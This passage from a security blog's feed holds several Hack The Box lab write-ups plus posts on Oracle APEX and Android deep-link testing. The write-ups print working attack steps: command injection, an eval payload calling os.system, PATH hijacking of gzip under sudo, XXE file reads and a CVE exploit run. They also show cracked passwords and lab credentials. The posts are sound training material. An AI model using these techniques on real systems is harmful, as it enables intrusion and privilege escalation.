
[dwight@paper ~]$ cd /tmp/
[dwight@paper tmp]$ chmod +x linpeas.sh
[dwight@paper tmp]$ ./linpeas.sh

When we run this script we immediately get a warning that the machine is vulnerable to CVE-2021-3560:

HTB Write-up | Paper

OK, let's grab a poc and send it to the /tmp dir:

~ scp -r CVE-2021-3560.py dwight@10.10.11.143:/tmp/CVE-2021-3560.py
~ ssh dwight@10.10.11.143

[dwight@paper ~]$ python3 CVE-2021-3560.py

[root@paper dwight]# cd /root
[root@paper ~]# cat root.txt
580aba1066f998cbf4a03deb6f758717

Just like that, we're done!


]]>
<![CDATA[Creating a very spammable endpoint with Oracle APEX Restful Services]]>I'm helping an organisation that has a very simple (and very static) corporate website. They were interested in adding a contact form, and wanted the data to be sent to their APEX-managed database.

Building an entire back-end service for this purpose seemed like too much work,  so

]]>
inesmartins.github.io/creating-a-very-spammable-endpoint-with-apex-restful-services/627664568b67d59413e27ad7Sat, 07 May 2022 15:35:26 GMT

I'm helping an organisation that has a very simple (and very static) corporate website. They were interested in adding a contact form, and wanted the data to be sent to their APEX-managed database.

Building an entire back-end service for this purpose seemed like too much work,  so I decided to give APEX's RESTful Services a try:

RESTful Services enable the creation of a set of standards-based API’s on top of database objects available for a workspace. Without connecting directly to the underlying data source these API’s allow external systems to interact securely with the data by querying, inserting, updating or deleting.

I started by creating a new CONTACT_REQUEST table:

Creating a very spammable endpoint with Oracle APEX Restful Services

Then, on the "Restful Data Services" page (under SQL Workshop), I created a new ORDS (Oracle REST Data Services) Module called forms:

Creating a very spammable endpoint with Oracle APEX Restful Services

Note that I've added the website's domain to the "Origins Allowed" field to allow the website to access the response from this cross-origin request.

Under this new module, I created a Template called contact:

Creating a very spammable endpoint with Oracle APEX Restful Services

Finally, I created a Handler for this template:

Creating a very spammable endpoint with Oracle APEX Restful Services

The most important part of the handler configuration is the PL/SQL block. I used the script shown below to insert the data received in the request into the CONTACT_REQUEST table, and define a status variable with value 201, which is the success status code:

Creating a very spammable endpoint with Oracle APEX Restful Services

In order for the status code to be returned, I also needed to add the X-APEX-STATUS-CODE header configuration at the bottom of the page:

Creating a very spammable endpoint with Oracle APEX Restful Services

In just a couple of minutes, I had my new endpoint:

Creating a very spammable endpoint with Oracle APEX Restful Services

And as you can see the data is added to the new database, as expected:

Creating a very spammable endpoint with Oracle APEX Restful Services

This looks very spammable

It is.

From what I could find, APEX doesn't support rate limiting, so there's not much else I can do to prevent someone from finding this endpoint and spamming it for fun.

Since the client is communicating directly with APEX, I can't think of any alternative way to throttle requests.

Finally, if you've been paying attention I've been obscuring the sub-directory that APEX assigned for my organisation, which was based on the "schema" that I set at the start of this process.

This means that a simple Google Dork may allow you to enumerate all endpoints of this type, and most likely find many that don't enforce authorisation, either on purpose (which is the case here), or by mistake.

In fact, the oracle.txt SecList already has some popular name-patterns.

Creating a very spammable endpoint with Oracle APEX Restful Services

Have fun 😉

]]>
<![CDATA[How to import mySQL data into Oracle APEX (the hard way)]]>Oracle Application Express (APEX) is a low-code development platform that enables you to build scalable, secure enterprise apps, with world-class features, that can be deployed anywhere.

Recently I was asked to import a mySQL database into APEX.

Although support for mySQL databases is on the roadmap, it seems like for

]]>
inesmartins.github.io/how-to-import-mysql-data-into-orable-apex/62345300d262e33a24f282d8Fri, 18 Mar 2022 10:16:10 GMTOracle Application Express (APEX) is a low-code development platform that enables you to build scalable, secure enterprise apps, with world-class features, that can be deployed anywhere.How to import mySQL data into Oracle APEX (the hard way)

Recently I was asked to import a mySQL database into APEX.

Although support for mySQL databases is on the roadmap, it seems like for now there's no straightforward way to import this data ... so here's a tutorial on how to do it the hard way.

Under "SQL Workshop" > "Utilities" > "Data Workshop" you can see that there's a feature that allows you to load data in multiple formats, including csv:

How to import mySQL data into Oracle APEX (the hard way)

So, I decided to create a Python script to grab the data from each of the tables in the mySQL database and export it as an individual csv file:

In order to run this script, make sure to install mysql-connector-python:

~ python3 -m pip install mysql-connector-python

Then, you can simply run:

~ python3 mysql-to-csv.py

By the end, you should have a directory full of csv files which you can import, as such:

How to import mySQL data into Oracle APEX (the hard way)

Note that you can only load one file at a time, and you also need to manually add the table's name.

Once you're done with importing the data you can go to "SQL Workshop" > "Object Browser" and see all of your tables, which you can then modify as needed:

How to import mySQL data into Oracle APEX (the hard way)

Unfortunately, using this method you also need to add all of the constraints by hand.

I'm sure there is a better way to do this, but in the meanwhile here's a bad workaround, hope it helps!

]]>
<![CDATA[HTB Write-up | Previse]]>Retired machine can be found here.


Scanning

As always, we start by mapping the previse.htb hostname to the given IP:

~ sudo nano /etc/hosts

10.10.11.104  previse.htb

The nmap scan is pretty boring, it seems there's a web server running on port 80 and

]]>
inesmartins.github.io/htb-write-up-previse/61d17eafa85f99e081fdd052Fri, 21 Jan 2022 11:04:08 GMT

Retired machine can be found here.


Scanning

As always, we start by mapping the previse.htb hostname to the given IP:

~ sudo nano /etc/hosts

10.10.11.104  previse.htb

The nmap scan is pretty boring, it seems there's a web server running on port 80 and an SSH server on port 22:

~ nmap 10.10.11.104

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~  nmap 10.10.11.104 -sC -sV -A -p 22,80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

When we access previse.htb we're redirected to the login page:

HTB Write-up | Previse

Let's try to enumerate some directories and files with gobuster:

~ gobuster dir \
-u http://previse.htb \
-c PHPSESSID=r989gcoqshohp5v8thvcji2sh2 \
-x php \
-w ../seclists/big.txt \   
-s 200 -b 403,404 --wildcard

[...]

/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]                   
/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/download.php         (Status: 302) [Size: 0] [--> login.php]                
/favicon.ico          (Status: 200) [Size: 15406]                            
/files.php            (Status: 302) [Size: 8377] [--> login.php]             
/footer.php           (Status: 200) [Size: 217]                              
/header.php           (Status: 200) [Size: 980]                              
/index.php            (Status: 302) [Size: 2801] [--> login.php]             
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/] 
/login.php            (Status: 200) [Size: 2224]                             
/logout.php           (Status: 302) [Size: 0] [--> login.php]                
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/status.php           (Status: 302) [Size: 2970] [--> login.php] 

All of the pages either redirect to login.php or have no interesting content, except for the nav.php which has some interesting links:

HTB Write-up | Previse

The links are:

  • Home: /index.php
  • Accounts + Create Account: /accounts.php
  • Files: /files.php
  • Management Menu + Website Status: /status.php
  • Log data: /file_logs.php

... but they all redirect to login.php since we're not authenticated.

Bypassing Authentication

The accounts.php page seems the most interesting, maybe we can try some other HTTP methods:

HTB Write-up | Previse

Using this POST request we can create a new user and then use these creds to log in:

HTB Write-up | Previse

Exploring the website

On the files.php page there are clearly some attempts to upload reverse shells, as well as a zip file that contains the site backup:

HTB Write-up | Previse

In the backup we can see that the config.php file contains the DB credentials:

HTB Write-up | Previse

But the logs.php has the most potential, since there's a call to an exec function that uses a parameter sent via POST request:

HTB Write-up | Previse

We already know the format of this POST request since it's the one performed on the file_logs.php page:

POST /logs.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/file_logs.php
Cookie: PHPSESSID=prod44vfotfs0nvgir215458f0
Upgrade-Insecure-Requests: 1

delim=tab

When we change this delim parameter to send a curl request to a simple local web server we get a ping back!

HTB Write-up | Previse

So, let's go for the reverse shell:

HTB Write-up | Previse

We're in!


Becoming m4lwhere

First order of business: upgrade the shell!

~ python -c 'import pty; pty.spawn("/bin/bash")'

Let's see what else is there:

bash-4.4$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We have access to m4lwhere's home directory, but not to the user flag:

bash-4.4$ cd /home/m4lwhere

bash-4.4$ ls
user.txt

bash-4.4$ cat user.txt
cat: user.txt: Permission denied

Let's dump the database, since we already have the creds:

bash-4.4$ mysqldump -u root -p --all-databases > db_dump.sql

Enter password: mySQL_p@ssw0rd!:)

There's a hashed password for the m4lwhere user on the accounts table:

CREATE TABLE `accounts` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL,
  `created_at` datetime DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

INSERT INTO `accounts` VALUES 
(1,'m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.','2021-05-27 18:18:36'),
[...]

Save me hashcat!

~ nano hash

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

~ hashcat -a 0 -m 500 hash ../seclists/pwds/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

We got the password!

~ ssh m4lwhere@previse.htb

m4lwhere@previse.htb's password: 
> ilovecody112235!

[...]

bash-4.4$ cat user.txt 
cff266072b891cf5458d490516040d5b

Road to root

After some poking around I went back to the /opt/script directory:

bash-4.4$ cd /opt/scripts/

bash-4.4$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6  2021 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6  2021 log_process.py

The access_backup.sh file looks very interesting:

bash-4.4$ cat access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

OK, what if we poison the gzip binary:

bash-4.4$ which gzip
/bin/gzip

bash-4.4$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

bash-4.4$ echo "rm /tmp/pwd" > /tmp/gzip
bash-4.4$ chmod 777 /tmp/gzip 
bash-4.4$ export PATH=/tmp:$PATH
bash-4.4$ cd /opt/scripts/
bash-4.4$ sudo ./access_backup.sh 
> ilovecody112235!
bash-4.4$ cat /tmp/pwd 
b3ca53edb5aecbbc2cd1456f3454cb47

We're done babyyyyy!


]]>
<![CDATA[HTB Write-up | BountyHunter]]>Retired machine can be found here.


Scanning

Like with most HTB machines, a quick scan only disclosed SSH running on port 22 and a web server running on port 80:

~ nmap 10.10.11.100

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~ nmap 10.10.11.
]]>
inesmartins.github.io/htb-write-up-bountyhunter/613e61d1ca603212098f67b8Mon, 29 Nov 2021 23:14:17 GMT

Retired machine can be found here.


Scanning

Like with most HTB machines, a quick scan only disclosed SSH running on port 22 and a web server running on port 80:

~ nmap 10.10.11.100

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~ nmap 10.10.11.100 -sC -sV -A -p 22,80

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

The website seems to be the corporate page for "The B Team": they're bounty hunters, security researchers, and can also use Burp ... impressive stuff.

HTB Write-up | BountyHunter

The "Portal" link sends us to a portal.php page, which itself links to a page that contains "the bounty tracker" - note that the portal itself is "under development":

HTB Write-up | BountyHunter

The "bounty tracker" aka the "Bounty Report System" is hosted at /log_submit.php and is still in beta:

HTB Write-up | BountyHunter

We're also able to navigate the /resources directory, which contains some interesting files:

HTB Write-up | BountyHunter

The most interesting, at first glance, seems to be this note:

HTB Write-up | BountyHunter

A lot to unpack here:

  • there's a test account on the portal that supports nopass;
  • we should probably take a look at the "tracker submit script";
  • this script is not yet connected to a DB;
  • there's a developer group somewhere, that used to have too many permissions.

Running nikto we also found a db.php file:

~ nikto -host 10.10.11.100
...
OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.

And indeed, unlike other random (non-existing) files, this one doesn't return 404, but also doesn't return any data.


XXE to LFI

The /resources/bountylog.js file seems to be the aforementioned "tracker submit script". As you can see below, this script:

  • takes the values from the form submitted on the log_submit.php page
  • builds an XML string
  • base64-encodes this data
  • sends it to /tracker_diRbPr00f314.php via POST request
HTB Write-up | BountyHunter

In response, this /tracker_diRbPr00f314.php page displays the submitted data, and also an interesting message: "If DB were ready, would have added: [...]" - this lets us know that the DB is not yet configured:

HTB Write-up | BountyHunter

Since the data is sent via XML I wanted to see if I could manipulate this payload in a way that achieves LFI using XXE. As always, I created a Python script to help me test ideas out:

Turns out, the application is vulnerable to XXE - as an example we can see the output of the /etc/passwd file:

HTB Write-up | BountyHunter

LFI to RCE

After running this script with a few different SecLists (and creating some lists of my own), I was able to get the exact Linux version:

Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021

... as well as the most interesting users:

# /etc/passwd
...
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
...

After changing the script to use php://filter/read=convert.base64-encode/resource= instead of file:// for files ending in .php, I also had access to all of the project's files, including the DB:

~ python3 xxe-script.py -url http://10.10.11.100/tracker_diRbPr00f314.php -pathlist wordlists/custom-finding-webserver-files.txt
Checking /var/www/html/db.php
	File contains data!
Checking /var/www/html/index.php
	File contains data!
Checking /var/www/html/portal.php
	File contains data!
Checking /var/www/html/log_submit.php
	File contains data!
Checking /var/www/html/tracker_diRbPr00f314.php
	File contains data!
Checking /var/www/html/resources/README.txt
	File contains data!
Checking /var/www/html/resources/lato.css
	File contains data!
Checking /var/www/html/resources/monsterat.css
	File contains data!
Checking /var/www/html/resources/all.js
Checking /var/www/html/resources/bootstrap.bundle.min.js
Checking /var/www/html/resources/bootstrap_login.min.js
Checking /var/www/html/resources/bountylog.js
Checking /var/www/html/resources/jquery.easing.min.js
Checking /var/www/html/resources/jquery.min.js
Checking /var/www/html/resources/jquery_login.min.js
HTB Write-up | BountyHunter

Luckily for us, someone used the same creds for the DB and SSH access, so I got a shell:

~ ssh development@10.10.11.100
> m19RoAU0hP41A1sTsq6K

R00ting

Once in the user's /home directory, I could see a message from John to other developers:

~ ls -la
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-rw-r--r-- 1 root        root         471 Jun 15 16:10 contract.txt
-r--r----- 1 root        development   33 Sep 19 06:18 user.txt
$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

John seems to be referring to some "internal tool" sent by "Skytrain Inc", so I tried to find any other reference to this company. Under /opt I got some interesting matches:

$ grep -Rils 'Skytrain' /opt

/opt/skytrain_inc/ticketValidator.py
/opt/skytrain_inc/invalid_tickets/390681613.md
/opt/skytrain_inc/invalid_tickets/734485704.md
/opt/skytrain_inc/invalid_tickets/529582686.md
/opt/skytrain_inc/invalid_tickets/600939065.md

The ticketValidator.py seems interesting:

~ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py

When we run it using some of the tickets in the same directory, we see that these tickets are invalid:

$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/734485704.md
Destination: Bridgeport
Invalid ticket.

Let's take a closer look at the script to see if we're able to abuse it:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

After some local tests I was able to create a valid payload, but I was still unable to get the root flag, due to a "Permission denied" exception:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**18 + __import__('os').system('cat /root/root.txt')**
##Issued: 2021/06/21
#End Ticket

After using linpeas.sh I realised that I was able to execute a very specific command as sudo:

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Using this privileged command, I was able to get the flag:

$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/malicious.md
Destination: Bridgeport
c70cb6e9f9e9a923d6718090a3f74d33
Invalid ticket.

References

]]>
<![CDATA[HTB Write-up | Explore]]>Retired machine can be found here.


esketit

Let's start with some basic scanning:

~ nmap -A 10.10.10.247

PORT     STATE    SERVICE    VERSION
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:
]]>
inesmartins.github.io/htb-write-up-explore/60df5ec80bafc20a7e3c4b50Sat, 30 Oct 2021 19:10:00 GMT

Retired machine can be found here.


esketit

Let's start with some basic scanning:

~ nmap -A 10.10.10.247

PORT     STATE    SERVICE    VERSION
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv

On Android, the 5555 TCP port is usually open when the Android Debug Bridge Daemon (ADBD) is running, however, in this case the port is filtered.

Let's focus on the other port: the SSH Server application from "Banana Studio" is  available on Play Store and, as you can see below, supports anonymous login ("username=ssh without any password"):

HTB Write-up | Explore

However, it seems like this anonymous login is disabled. I was also not able to brute-force the password using a relevant SecList:

~ hydra -l ssh -P ssh-passwords.txt -s 2222 -t 16 10.10.10.247 ssh

Let's expand our scanning to see what else is open:

~ nmap -p 1-65535 10.10.10.247

2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
59777/tcp open  http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).

Nice, another port!

Doing a bit of Googling we come across CVE-2019-6447:

The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

In order to exploit this misconfiguration, we can use this exploit.

After some trial and error, and with a bit of luck, I came across the user flag:

~ python3 50070.py getFile 10.10.10.247 /sdcard/user.txt 

==================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|                Coded By : Nehal a.k.a PwnerSec                 |
==================================================================

[+] Downloading file...
[+] Done. Saved as `out.dat`.

~ htb_explore cat out.dat                                           
f32017174c7c7e8f50c6da52891ae250

Road to root

Let's continue enumerating using the other available commands for this script:

~ python3 50070.py listPics 10.10.10.247

==================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|                Coded By : Nehal a.k.a PwnerSec                 |
==================================================================

...
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
...
HTB Write-up | Explore

And we got a winner!

~ ssh kristi@10.10.10.247 -p 2222
> Kr1sT!5h@Rp3xPl0r3!

$ whoami
u0_a76

Now that we have access to some SSH credentials, let's forward the traffic from the machine's adb service to a local port:

~ adb start-server
* daemon not running; starting now at tcp:5037
* daemon started successfully

~ ssh -i ssh_key kristi@10.10.10.247 -L 5555:127.0.0.1:5555 -p 2222
> Kr1sT!5h@Rp3xPl0r3!

$ whoami
u0_a76

Then, on another tab on the local machine we can connect to the local service:

~ adb connect 127.0.0.1:5555
connected to 127.0.0.1:5555

~ adb shell

$ whoami
shell

Now let's see if we can authenticate as root:

$ su - root

$ whoami
root

$ cd data      

$ ls
adb           bootchart     media       property       tombstones 
anr           cache         mediadrm    resource-cache user       
app           dalvik-cache  misc        root.txt       user_de    
app-asec      data          misc_ce     ss             vendor     
app-ephemeral drm           misc_de     ssh_starter.sh vendor_ce  
app-lib       es_starter.sh nfc         system         vendor_de  
app-private   local         ota         system_ce      
backup        lost+found    ota_package system_de      

$ cat root.txt
f04fc82b6d49b41c9b08982be59338c5

Done :)

]]>
<![CDATA[Exploiting Deep Links in Android - Part 5 (Testing)]]>Enumeration

Enumeration should always start with the App Manifest, which can be extracted from any .apk with a tool such as apktool, e.g.:

~ apktool d com.twitter.android_2021-10-22.apk 
I: Using Apktool 2.5.0 on com.twitter.android_2021-10-22.apk
I: Loading resource table...
I: Decoding AndroidManifest.
]]>
inesmartins.github.io/exploiting-deep-links-in-android-pat-5-testing/617d78ac3eb63780007bc5e3Sat, 30 Oct 2021 17:20:05 GMTEnumerationExploiting Deep Links in Android - Part 5 (Testing)

Enumeration should always start with the App Manifest, which can be extracted from any .apk with a tool such as apktool, e.g.:

~ apktool d com.twitter.android_2021-10-22.apk 
I: Using Apktool 2.5.0 on com.twitter.android_2021-10-22.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/inesmartins/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Baksmaling classes6.dex...
I: Baksmaling classes7.dex...
I: Baksmaling classes8.dex...
I: Baksmaling classes9.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

~ open com.twitter.android_2021-10-22/AndroidManifest.xml

When you open the manifest, you should start by looking for <intent-filter> elements:

Exploiting Deep Links in Android - Part 5 (Testing)

Note the scheme, host and path attributes inside <data> elements to understand what deep links are supported, and check the category and action elements, as they give you clues about how the deep links are used.

The example below shows a Scheme URL with scheme="myapp" and host="path", which means the following URI could be handled by the app: myapp://path.

<activity android:name=".MyUriActivity">
  <intent-filter>
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="myapp" android:host="path" />
  </intent-filter>
</activity>

When analysing app links, make sure the intent filter includes the  android:autoVerify="true" attribute, which enables app link verification:

<activity android:name=".MyUriActivity">
  <intent-filter android:autoVerify="true">
      <action android:name="android.intent.action.VIEW" />
      <category android:name="android.intent.category.DEFAULT" />
      <category android:name="android.intent.category.BROWSABLE" />
      <data android:scheme="http" android:host="www.myapp.com" android:path="/my/app/path" />
      <data android:scheme="https" android:host="www.myapp.com" android:path="/my/app/path" />
  </intent-filter>
</activity>

The simplest way to check if a link is correctly verified is to just enter it onto a mobile browser and check that the link is automatically (without any user interaction) opened with the intended app.

If you're looking for additional information, you can also use this simple Python tool that I've developed. This library supports a bunch of different test modes and options, but most likely the verify-applinks option will give you what you need:

~ python3 Android-App-Link-Verification-Tester/deeplink_analyser.py \
-apk com.twitter.android_2021-10-22.apk \
-p com.twitter.android \
-op verify-applinks

[...]

The APK's signing certificate's SHA-256 fingerprint is: 
0F:D9:A0:CF:B0:7B:65:95:09:97:B4:EA:EB:DC:53:93:13:92:39:1A:A4:06:53:8A:3B:04:07:3B:C2:CE:2F:E9

[...]

Checking http://mobile.twitter.com/.*

✓ includes autoverify=true
✓ includes VIEW action
✓ includes BROWSABLE category
✓ includes DEFAULT category
✓ DAL verified

  Relations: 
    - [Standard] delegate_permission/common.get_login_creds
    - [Standard] delegate_permission/common.handle_all_urls
    - [Custom]   delegate_permission/common.use_as_origin

Checking http://twitter.com/.*

✓ includes autoverify=true
✓ includes VIEW action
✓ includes BROWSABLE category
✓ includes DEFAULT category
✓ DAL verified

  Relations: 
    - [Standard] delegate_permission/common.get_login_creds
    - [Standard] delegate_permission/common.handle_all_urls
    - [Custom]   delegate_permission/common.use_as_origin

[...]

Read more about relation strings here: https://developers.google.com/digital-asset-links/v1/relation-strings

Static and Dynamic Analysis

In order to understand what data is being taken from deep links and how that data is being processed, check for occurrences of:

  • getIntent()
  • .getData()
  • .getExtras()
  • Regex search: \.get\w+Extra\(  -> finds occurrences .getStringExtra(,  .getParcelableExtra(, etc.)

